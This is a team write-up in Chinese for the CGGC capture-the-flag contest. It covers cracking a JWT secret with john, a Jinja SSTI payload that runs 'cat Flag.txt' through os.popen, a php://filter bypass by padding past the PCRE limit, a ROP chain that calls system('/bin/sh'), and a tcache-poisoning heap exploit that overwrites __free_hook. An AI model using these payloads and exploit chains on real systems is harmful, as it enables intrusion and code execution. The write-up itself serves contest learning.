# CGGC write-up ###### tags: `write-up` {%hackmd M1bgOPoiQbmM0JRHWaYA1g %} ## Web ### bossti > [name=Whale120] 第一關是用jwt sign的登入頁面,把密鑰用john暴一下並修改參數登入就好: `john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256` ![image](https://hackmd.io/_uploads/r1j-ZR_Hp.png) ![image](https://hackmd.io/_uploads/SkJ2bAOSa.png) 登入後的畫面上方有個`7*7`,馬上想到SSTI,結合前面JWT帶有的參數hack就可以植入payload: `{{config.__class__.__init__.__globals__['os'].popen('cat Flag.txt').read()}}` ![image](https://hackmd.io/_uploads/BJTzzA_B6.png) 拿flag啦~ ### babyLFI(賽後解) > [name=naup96321] >這題當下沒打出來是因為我在搞,100000打成1000000,結果噴錯說request太長,結果我就以為不是這樣做就沒做了 首先他有一個網站以及他有給網站source code ![image](https://hackmd.io/_uploads/HJVuTLFra.png) 分析一下source code他用`$_REQUEST{'filename#'}`來接收使用者輸入,所以可以用`http://10.99.111.111:12345/index.php?filename%23=`這樣來接收輸入(記得#要urlencode,我忘記要用結果被卡了好幾個小時) 並且他有過濾掉php://filter,要想辦法繞過,才能用php://filter嘗試拿flag 另外注意到phpinfo在docker run 起來時就會被rm掉,所以可以自己架一個來看php info有沒有東西 ![image](https://hackmd.io/_uploads/Hkoy1DYBa.png) 在觀察phpinfo時我注意到PRCE限制為100000(哭阿,我打1000000,那時候沒有把他架起來QQ),所以我可以把payload填充到長度100000,繞過php://filter過濾。 ![image](https://hackmd.io/_uploads/SJsb68Fr6.png) 繞過後直接用php://info構造payload就可以拿到flag ## Reverse ### Gaoyi > [name=FlyDragon] 把所有判斷都 Patch 掉,跳到輸出 flag 的部分就好 ![image](https://hackmd.io/_uploads/H1NVsTdS6.png) ## Pwn > [name=Aukro] 腳本很醜 等修整好再丟上來 --- ### gift > 送了一個大大大禮包 可以做記憶體任意寫 後來仔細想想如果多利用一下這邊的話可能可以更簡單 但我打的時候就只有單純的堆rop - Partail RELRO 首先我先把`__stack_chk_fail` hijack 成`main`的`leave ret` 這樣就可以忽視stack canary 接下來我堆的是 ``` rdi, putsplt putsgotplt rdi buf1 getsplt rsi_r13_r14_r15_ret buf1 ``` 也就是`puts(putsgotplt); gets(buf1)` 這樣就可以leak libc, 並且達到stack migration繼續開點 剛剛的gets的$\downarrow$ ``` /bin/sh 0 0 rdi buf1 ret //this is for alignment system ``` system(/bin/sh) > getshell --- ### note > 經典的heap note題 > 這次屬於沒有UAF的類型 > 但輸入可以off-by-one, 打Tcache positioning 最後打__free_hook > 雖然這個off-by-one我找了一段時間 1. ``` add(0,0x18) add(1,0x18) add(2,0x18) add(3,0x18) ``` $0\ at\ 0x290$ $1\ at\ 0x2b0$ $2\ at\ 0x2d0$ $3\ at\ 0x2f0$ ``` delete(3) delete(2) ``` $0\ at\ 0x290$ $1\ at\ 0x2b0$ $T_{0x20}\rightarrow 2 \rightarrow 3$ `----------------------------------IAMSPLITLINE----------------------------------------` 2. ``` edit(0,b'a'*0x18+b'\x51') delete(1) add(4,0x48) ``` chunk_1.size = 0x50 free\&melloc拿回來 **ind變成4** //其實好像可以用1 現在heap是 $0\ at\ 0x290$ $1\ at\ 0x2b0~0x2f0$ $2\ at\ 0x2d0(freed)$ $3\ at\ 0x2f0(freed)$ 且$T_{0x20}\rightarrow 2 \rightarrow 3$ 所以如果想要的話這裡可以拿chunk2的fd, key來leak heap, Tcache entry `----------------------------------IAMSPLITLINE----------------------------------------` 3. ``` add(1,0x18) edit(4,flat(0xdeabeef)*3 + flat(0x421, 0, 0)) make_chunk0x420_ligal() add(5,0x28) add(2,0x28) add(3,0x28) delete(1) ``` 下一步驟我們要libc所以需要創造unsortedbin 我們完全overlap的是freed掉的2 所以我們現在把它拿回來 (now it's idx = 1) 然後把他的size改成0x420 > T_cache_maxSize 然後確保他是個合法的chunk並且不會被merge as`0x420,chunk, chunk, top chunk` 後面三個0x28是後面unsorted bin壞掉 我懶得修 所以乾脆在他壞掉前先malloc就不用擔心這問題了 free掉 這時候$unsorted\ bin \rightarrow chunk\ 1\ at\ 0x2d0$ 且$T_{0x20} \rightarrow 3$ `----------------------------------IAMSPLITLINE----------------------------------------` 4. ``` padd = flat(0xdeadbeefdeadbeef)*3+b'abcdefgh' edit(4,padd) getinfo(show(4)) ``` 注意到現在可控的chunk 4在0x2b0 有0x48可寫 chunk 1在0x2d0 所以我們把chunk4填滿讓他不要有nullbyte直到overwrite 0x421 這樣就會剛好只把有libc資訊的那的蓋掉第一byte 並印出 這樣並不會影響我們計算libc base `----------------------------------IAMSPLITLINE----------------------------------------` 5. ``` delete(6_from_getinfo) edit(5,b'a'*0x28+b'\x51') delete(3) delete(2) ``` 6是一個0x30的chunk 現在5,3,2是alocated chunk 然後分別在0x730, 0x790, 0x760 用5把2的size改成0x50 2 free掉 進$T_{0x50}$ 3 free掉 進$T_{0x30}$ 現在重要的是 $T_{0x50} \rightarrow 2$ $T_{0x30} \rightarrow 3 \rightarrow 6$(cnt =2 ) `----------------------------------IAMSPLITLINE----------------------------------------` 6. ``` add(1,0x48) edit(1,flat(0,0,0,0,0,0x31,free_hook,0xdeadbeef)) add(2,0x28) ``` 真正的重點 現在把2拿出來 (0x760~0x7a0) 可以改到3(0x790) 重點是 **fd改成free_hook, key改掉** 所以呢現在 $T_{0x30} \rightarrow 3 \rightarrow \&\_\_free\_hook$(cnt=2) 把3拿出來 `----------------------------------IAMSPLITLINE----------------------------------------` 7. ``` add(3,0x28) edit(3,flat(system)) edit(2,b'/bin/sh\x00') ``` $T_{0x30} \rightarrow \&\_\_free\_hook$(cnt=1) 再malloc一次就會拿出 `__free_hook` 把`__free_hook`的內容寫上`__libc_system` 然後再任意的allocated chunk寫上`/bin/sh` 這裡選擇2 `----------------------------------IAMSPLITLINE----------------------------------------` 8. free(2) == system(/bin/sh) > getshell ## Misc ### Space game > [name=FlyDragon] 在網頁上拿到 `game.gb` 檔案,再用 GameBoy Emulator 把遊戲跑起來,用 Cheat Engine 修改擊敗敵人的數量 (>30) 抵達終點就會有 flag ![image](https://hackmd.io/_uploads/SysitT_rT.png)